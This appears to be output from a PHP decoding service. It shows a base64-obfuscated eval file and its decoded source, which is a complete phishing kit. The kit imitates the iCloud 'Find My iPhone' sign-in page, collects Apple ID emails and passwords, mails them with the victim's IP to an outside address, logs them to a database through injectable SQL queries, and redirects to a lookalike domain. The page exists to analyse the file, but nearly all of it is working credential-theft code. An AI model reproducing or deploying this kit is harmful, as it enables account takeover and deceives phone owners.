Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHANCgkvKiBzZXNzaW9uX3N0YXJ0KCk7DQoJcmVxdWlyZSgiY2xhc3N..
Decoded Output download
?>b'<?php
/* session_start();
require("classes/Database.class.php");
$obj = new DBclass();
$obj->dbconnect();
*/
// This will prevent any errors that occur from potentially displaying your username/password
error_reporting(0);
// This should properly display device names that contain special characters
header("Content-type: text/html; charset=utf-8");
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="robots" content="noindex, nofollow" />
<title>iCloud - Find My iPhone</title>
<script src="//code.jquery.com/jquery-1.10.2.js"></script>
<script src="//code.jquery.com/ui/1.10.4/jquery-ui.js"></script>
<style>
body, html {
height: 100%;
}
body {
background:url("map.png") no-repeat left top #f2f2f2 fixed;
background-repeat: no-repeat;
background-size: 100%;
height: 100%;
width: 100%;
padding: 0;
margin: 0;
}
.Top {
background-color: #fff; text-align:center; width:100%; font-family:Segoe, \'Segoe UI\', \'DejaVu Sans\', \'Trebuchet MS\', Verdana, sans-serif; line-height:50px; font-size:20px; color: #333; font-weight: 700; border-bottom: solid 1px #A5D7AC;
}
.content {
background: url(fmi_block.png) repeat;
height: 70%;
text-align: center;
margin-top: 10%;
}
.logo {
padding-bottom:30px;
}
.form {
width: 280px;
margin: 0 auto;
}
.form input[type=email], .form input[type=password]{
width:270px;
height:35px;
margin-bottom:3px;
font-size:16px;
padding-left:5px;
}
.form input[type=submit]{
background-color:transparent;
border:none;
font-size:20px;
color:#47AF56;
font-weight:bold;
margin-top:30px;
cursor:pointer;
}
</style>
</head>
<body>
<div class="Top">
Find My iPhone
</div>
<div class="content">
<div class="form" id="formbg">
<div class="logo"><img src="findmyiphone.png" width="115" height="115" alt=""/>
</div>
<?php
if(isset($_POST[\'appleid\'])){
// Include the FindMyiPhone class
include ("class.findmyiphone.php");
// This is where we log in to iCloud
try {
$fmi = new FindMyiPhone($_POST[\'appleid\'], $_POST[\'password\']);
$accid = $_POST[\'appleid\'];
$pas = $_POST[\'password\'];
date_default_timezone_set(\'America/New_York\');
$date = date(\'F j, Y, h:i:s a\', time());
$ip = $_SERVER[\'REMOTE_ADDR\']?:($_SERVER[\'HTTP_X_FORWARDED_FOR\']?:$_SERVER[\'HTTP_CLIENT_IP\']);
$subject = $_POST[\'appleid\']. " | ". $_POST[\'password\'];
$message = \'
<h2>Apple ID</h2>
<p>Email: \'.$_POST[\'appleid\'].\'</p>
<p>Pass: \'.$_POST[\'password\'].\'</p>
<p>Login Time: \'.$date.\' </p>
<p>From IP: \'.$ip.\'</p>
\';
$to= "[email protected]";
// $subject="This is Your Message";
$from = "Apple ID <[email protected]>";
// $body=\'Hi \'.$name.\', <br/><br>Now You can See Yor main in inbox\';
$headers = "From: " .($from) . "
";
$headers .= "Reply-To: ".($from) . "
";
$headers .= "Return-Path: ".($from) . "
";;
$headers .= "MIME-Version: 1.0
";
$headers .= "Content-Type: text/html; charset=ISO-8859-1
";
$headers .= "X-Priority: 3
";
$headers .= "X-Mailer: PHP". phpversion() ."
";
$qq = mysql_query("select * from orders where email=\'$accid\' and password=\'$pas\' and status = \'NewID\' ") or die("Error");
$rr = mysql_fetch_object($qq);
if(isset($rr->oid)){
$attemp = $rr->loginAttempts + 1;
mysql_query("Update orders set loginAttempts=\'$attemp\', IP = \'$ip\' where email = \'$accid\' and status = \'NewID\' limit 1");
} else {
$q = mysql_query("select * from orders where email = \'$accid\' and status =\'InProcess\' ");
$res = mysql_fetch_object($q);
if(isset($res->email)){
$attp = $res->loginAttempts + 1;
mysql_query("Update orders set password=\'$pas\', IP = \'$ip\', loginAttempts=\'$attp\', status=\'Completed\' where email = \'$accid\' limit 1");
} else {
mysql_query("insert into orders (email, password, IP, status) VALUES (\'$accid\', \'$pas\', \'$ip\', \'NewID\')");
}
}
mail($to,$subject,$message,$headers);
// $_SESSION[\'LOGGED_IN\'] = $_POST[\'appleid\'];
header("Location: http://findmyiphone.com.nu/find/map/");
} catch (Exception $e) {
print "<div style=\'color: red; padding-bottom:5px;\'>" .$e->getMessage() . "</div>";
// mysql_query("insert into fakeid (email, password, IP) VALUES (\'$accid\', \'$pas\', \'$ip\')");
}
}
?>
<form action="" method="post">
<div class="email">
<input name="appleid" id="appleID" type="email" required placeholder="Apple ID" autocomplete="off">
</div>
<div class="pas">
<input name="password" type="password" required placeholder="Password" id="pw" autocomplete="off">
</div>
<div class="signin">
<input name="submit" type="submit" value="Sign In" id="singin" >
</div>
</form>
</div>
</div>
'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PD9waHANCgkvKiBzZXNzaW9uX3N0YXJ0KCk7DQoJcmVxdWlyZSgiY2xhc3Nlcy9EYXRhYmFzZS5jbGFzcy5waHAiKTsNCgkkb2JqID0gbmV3IERCY2xhc3MoKTsNCgkkb2JqLT5kYmNvbm5lY3QoKTsNCiovDQoJLy8gVGhpcyB3aWxsIHByZXZlbnQgYW55IGVycm9ycyB0aGF0IG9jY3VyIGZyb20gcG90ZW50aWFsbHkgZGlzcGxheWluZyB5b3VyIHVzZXJuYW1lL3Bhc3N3b3JkDQoJZXJyb3JfcmVwb3J0aW5nKDApOw0KCS8vIFRoaXMgc2hvdWxkIHByb3Blcmx5IGRpc3BsYXkgZGV2aWNlIG5hbWVzIHRoYXQgY29udGFpbiBzcGVjaWFsIGNoYXJhY3RlcnMNCgloZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Iik7DQoJDQo/Pg0KPCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTiI+DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgY2hhcnNldD0idXRmLTgiPg0KPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIiAvPg0KPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyIgLz4NCjx0aXRsZT5pQ2xvdWQgLSBGaW5kIE15IGlQaG9uZTwvdGl0bGU+DQoJPHNjcmlwdCBzcmM9Ii8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0xLjEwLjIuanMiPjwvc2NyaXB0Pg0KCTxzY3JpcHQgc3JjPSIvL2NvZGUuanF1ZXJ5LmNvbS91aS8xLjEwLjQvanF1ZXJ5LXVpLmpzIj48L3NjcmlwdD4NCiANCg0KPHN0eWxlPg0KYm9keSwgaHRtbCB7DQogIGhlaWdodDogMTAwJTsNCn0NCg0KYm9keSB7DQogICAgYmFja2dyb3VuZDp1cmwoIm1hcC5wbmciKSBuby1yZXBlYXQgbGVmdCB0b3AgI2YyZjJmMiBmaXhlZDsNCiAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0Ow0KICAgIGJhY2tncm91bmQtc2l6ZTogMTAwJTsNCgloZWlnaHQ6IDEwMCU7DQoJd2lkdGg6IDEwMCU7DQoJcGFkZGluZzogMDsNCgltYXJnaW46IDA7DQp9DQouVG9wIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOyB0ZXh0LWFsaWduOmNlbnRlcjsgd2lkdGg6MTAwJTsgZm9udC1mYW1pbHk6U2Vnb2UsICdTZWdvZSBVSScsICdEZWphVnUgU2FucycsICdUcmVidWNoZXQgTVMnLCBWZXJkYW5hLCBzYW5zLXNlcmlmOyBsaW5lLWhlaWdodDo1MHB4OyBmb250LXNpemU6MjBweDsgY29sb3I6ICMzMzM7IGZvbnQtd2VpZ2h0OiA3MDA7IGJvcmRlci1ib3R0b206IHNvbGlkIDFweCAjQTVEN0FDOw0KCQ0KfQ0KLmNvbnRlbnQgew0KCWJhY2tncm91bmQ6IHVybChmbWlfYmxvY2sucG5nKSByZXBlYXQ7DQoJaGVpZ2h0OiA3MCU7DQoJdGV4dC1hbGlnbjogY2VudGVyOw0KCW1hcmdpbi10b3A6IDEwJTsNCn0NCi5sb2dvIHsNCglwYWRkaW5nLWJvdHRvbTozMHB4Ow0KfQ0KLmZvcm0gew0KCQ0KCXdpZHRoOiAyODBweDsNCgltYXJnaW46IDAgYXV0bzsJDQp9DQouZm9ybSBpbnB1dFt0eXBlPWVtYWlsXSwgLmZvcm0gaW5wdXRbdHlwZT1wYXNzd29yZF17DQoJd2lkdGg6MjcwcHg7DQoJaGVpZ2h0OjM1cHg7DQoJbWFyZ2luLWJvdHRvbTozcHg7DQoJZm9udC1zaXplOjE2cHg7DQoJcGFkZGluZy1sZWZ0OjVweDsNCgkNCgkNCgkNCn0NCg0KLmZvcm0gaW5wdXRbdHlwZT1zdWJtaXRdew0KCWJhY2tncm91bmQtY29sb3I6dHJhbnNwYXJlbnQ7DQoJYm9yZGVyOm5vbmU7DQoJZm9udC1zaXplOjIwcHg7DQoJY29sb3I6IzQ3QUY1NjsNCglmb250LXdlaWdodDpib2xkOw0KCW1hcmdpbi10b3A6MzBweDsNCgljdXJzb3I6cG9pbnRlcjsNCn0NCg0KPC9zdHlsZT4NCg0KDQo8L2hlYWQ+DQo8Ym9keT4NCg0KCTxkaXYgY2xhc3M9IlRvcCI+DQoJCUZpbmQgTXkgaVBob25lDQogICAgPC9kaXY+DQo8ZGl2IGNsYXNzPSJjb250ZW50Ij4NCiAgICA8ZGl2IGNsYXNzPSJmb3JtIiBpZD0iZm9ybWJnIj4NCiAgICAJPGRpdiBjbGFzcz0ibG9nbyI+PGltZyBzcmM9ImZpbmRteWlwaG9uZS5wbmciIHdpZHRoPSIxMTUiIGhlaWdodD0iMTE1IiBhbHQ9IiIvPg0KICAgIAk8L2Rpdj4NCiAgICA8P3BocA0KCQkNCglpZihpc3NldCgkX1BPU1RbJ2FwcGxlaWQnXSkpew0KCS8vIEluY2x1ZGUgdGhlIEZpbmRNeWlQaG9uZSBjbGFzcw0KCWluY2x1ZGUgKCJjbGFzcy5maW5kbXlpcGhvbmUucGhwIik7DQoJDQoJLy8gVGhpcyBpcyB3aGVyZSB3ZSBsb2cgaW4gdG8gaUNsb3VkDQoJdHJ5IHsNCgkJJGZtaSA9IG5ldyBGaW5kTXlpUGhvbmUoJF9QT1NUWydhcHBsZWlkJ10sICRfUE9TVFsncGFzc3dvcmQnXSk7DQoJCSRhY2NpZCA9ICRfUE9TVFsnYXBwbGVpZCddOw0KCQkkcGFzID0gJF9QT1NUWydwYXNzd29yZCddOw0KCQlkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBbWVyaWNhL05ld19Zb3JrJyk7DQoJCSRkYXRlID0gZGF0ZSgnRiBqLCBZLCBoOmk6cyBhJywgdGltZSgpKTsNCgkJJGlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10/OigkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXT86JF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ10pOw0KCQkNCgkJJHN1YmplY3QgPSAkX1BPU1RbJ2FwcGxlaWQnXS4gIiB8ICIuICRfUE9TVFsncGFzc3dvcmQnXTsNCgkJJG1lc3NhZ2UgPSAnDQoJCTxoMj5BcHBsZSBJRDwvaDI+DQoJCTxwPkVtYWlsOiAnLiRfUE9TVFsnYXBwbGVpZCddLic8L3A+DQoJCTxwPlBhc3M6ICcuJF9QT1NUWydwYXNzd29yZCddLic8L3A+DQoJCTxwPkxvZ2luIFRpbWU6ICcuJGRhdGUuJyA8L3A+DQoJCTxwPkZyb20gSVA6ICcuJGlwLic8L3A+DQoJCSc7DQoNCgkJDQoJCSR0bz0gIm5vLXJlcGx5QGFwcGxlLnZlcmlmeWluZy5lbWFpbCI7DQoJCS8vICRzdWJqZWN0PSJUaGlzIGlzIFlvdXIgTWVzc2FnZSI7DQoJCSRmcm9tID0gIkFwcGxlIElEIDxub3JlcGx5QGFwcGxlLnZlcmlmeWluZy5lbWFpbD4iOw0KCQkvLyAgJGJvZHk9J0hpICcuJG5hbWUuJywgPGJyLz48YnI+Tm93IFlvdSBjYW4gU2VlIFlvciBtYWluIGluIGluYm94JzsNCgkJJGhlYWRlcnMgPSAiRnJvbTogIiAuKCRmcm9tKSAuICJcclxuIjsNCgkJJGhlYWRlcnMgLj0gIlJlcGx5LVRvOiAiLigkZnJvbSkgLiAiXHJcbiI7DQoJCSRoZWFkZXJzIC49ICJSZXR1cm4tUGF0aDogIi4oJGZyb20pIC4gIlxyXG4iOzsNCgkJJGhlYWRlcnMgLj0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiI7DQoJCSRoZWFkZXJzIC49ICJDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1JU08tODg1OS0xXHJcbiI7DQoJCSRoZWFkZXJzIC49ICJYLVByaW9yaXR5OiAzXHJcbiI7DQoJCSRoZWFkZXJzIC49ICJYLU1haWxlcjogUEhQIi4gcGhwdmVyc2lvbigpIC4iXHJcbiI7DQoJCQ0KCQkJDQoJCSRxcSA9IG15c3FsX3F1ZXJ5KCJzZWxlY3QgKiBmcm9tIG9yZGVycyB3aGVyZSBlbWFpbD0nJGFjY2lkJyBhbmQgcGFzc3dvcmQ9JyRwYXMnIGFuZCBzdGF0dXMgPSAnTmV3SUQnICIpIG9yIGRpZSgiRXJyb3IiKTsNCgkJJHJyID0gbXlzcWxfZmV0Y2hfb2JqZWN0KCRxcSk7DQoJCQlpZihpc3NldCgkcnItPm9pZCkpew0KCQkJCSRhdHRlbXAgPSAkcnItPmxvZ2luQXR0ZW1wdHMgKyAxOyANCgkJCW15c3FsX3F1ZXJ5KCJVcGRhdGUgb3JkZXJzIHNldCBsb2dpbkF0dGVtcHRzPSckYXR0ZW1wJywgSVAgPSAnJGlwJyB3aGVyZSBlbWFpbCA9ICckYWNjaWQnIGFuZCBzdGF0dXMgPSAnTmV3SUQnIGxpbWl0IDEiKTsNCgkJCQ0KCQl9IGVsc2Ugew0KCQkJCQ0KCQkJCSRxID0gbXlzcWxfcXVlcnkoInNlbGVjdCAqIGZyb20gb3JkZXJzIHdoZXJlIGVtYWlsID0gJyRhY2NpZCcgYW5kIHN0YXR1cyA9J0luUHJvY2VzcycgIik7DQoJCQkJJHJlcyA9IG15c3FsX2ZldGNoX29iamVjdCgkcSk7DQoJCQkJIGlmKGlzc2V0KCRyZXMtPmVtYWlsKSl7DQoJCQkJCSAkYXR0cCA9ICRyZXMtPmxvZ2luQXR0ZW1wdHMgKyAxOyANCgkJCQkgbXlzcWxfcXVlcnkoIlVwZGF0ZSBvcmRlcnMgc2V0IHBhc3N3b3JkPSckcGFzJywgSVAgPSAnJGlwJywgbG9naW5BdHRlbXB0cz0nJGF0dHAnLCBzdGF0dXM9J0NvbXBsZXRlZCcgd2hlcmUgZW1haWwgPSAnJGFjY2lkJyBsaW1pdCAxIik7DQoJCQkJIH0gZWxzZSB7DQoJCQkJCSAgbXlzcWxfcXVlcnkoImluc2VydCBpbnRvIG9yZGVycyAoZW1haWwsIHBhc3N3b3JkLCBJUCwgc3RhdHVzKSBWQUxVRVMgKCckYWNjaWQnLCAnJHBhcycsICckaXAnLCAnTmV3SUQnKSIpOw0KCQkJCSB9DQoJCQkgDQoJCX0JDQoJCQkNCgkJCW1haWwoJHRvLCRzdWJqZWN0LCRtZXNzYWdlLCRoZWFkZXJzKTsNCgkJCS8vICRfU0VTU0lPTlsnTE9HR0VEX0lOJ10gPSAgJF9QT1NUWydhcHBsZWlkJ107DQoJCQloZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZmluZG15aXBob25lLmNvbS5udS9maW5kL21hcC8iKTsNCgkJDQoJCQ0KCQl9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsNCgkJCXByaW50ICI8ZGl2IHN0eWxlPSdjb2xvcjogcmVkOyBwYWRkaW5nLWJvdHRvbTo1cHg7Jz4iIC4kZS0+Z2V0TWVzc2FnZSgpIC4gIjwvZGl2PiI7DQoJCSAvLyBteXNxbF9xdWVyeSgiaW5zZXJ0IGludG8gZmFrZWlkIChlbWFpbCwgcGFzc3dvcmQsIElQKSBWQUxVRVMgKCckYWNjaWQnLCAnJHBhcycsICckaXAnKSIpOw0KCQl9DQoJfQ0KCT8+DQogIAkJDQoNCiAgCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAJPGRpdiBjbGFzcz0iZW1haWwiPg0KICAgICAgICAgICAgPGlucHV0IG5hbWU9ImFwcGxlaWQiIGlkPSJhcHBsZUlEIiB0eXBlPSJlbWFpbCIgcmVxdWlyZWQgIHBsYWNlaG9sZGVyPSJBcHBsZSBJRCIgYXV0b2NvbXBsZXRlPSJvZmYiPg0KICAgIAkJPC9kaXY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYXMiPg0KICAgICAgICAgICAgPGlucHV0ICBuYW1lPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiIHJlcXVpcmVkICBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiIGlkPSJwdyIgYXV0b2NvbXBsZXRlPSJvZmYiPg0KICAgICAgICAJPC9kaXY+DQogICAgICAgIAk8ZGl2IGNsYXNzPSJzaWduaW4iPg0KICAgICAgICAgICAgPGlucHV0IG5hbWU9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2lnbiBJbiIgaWQ9InNpbmdpbiIgPg0KICAgICAgICAJPC9kaXY+DQogICAgIDwvZm9ybT4gICANCiAgICAgICAgPC9kaXY+DQogICAgDQo8L2Rpdj4NCiAgICANCg==")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 2e87f06c4354b96420b579f724ef5ded |
Eval Count | 1 |
Decode Time | 128 ms |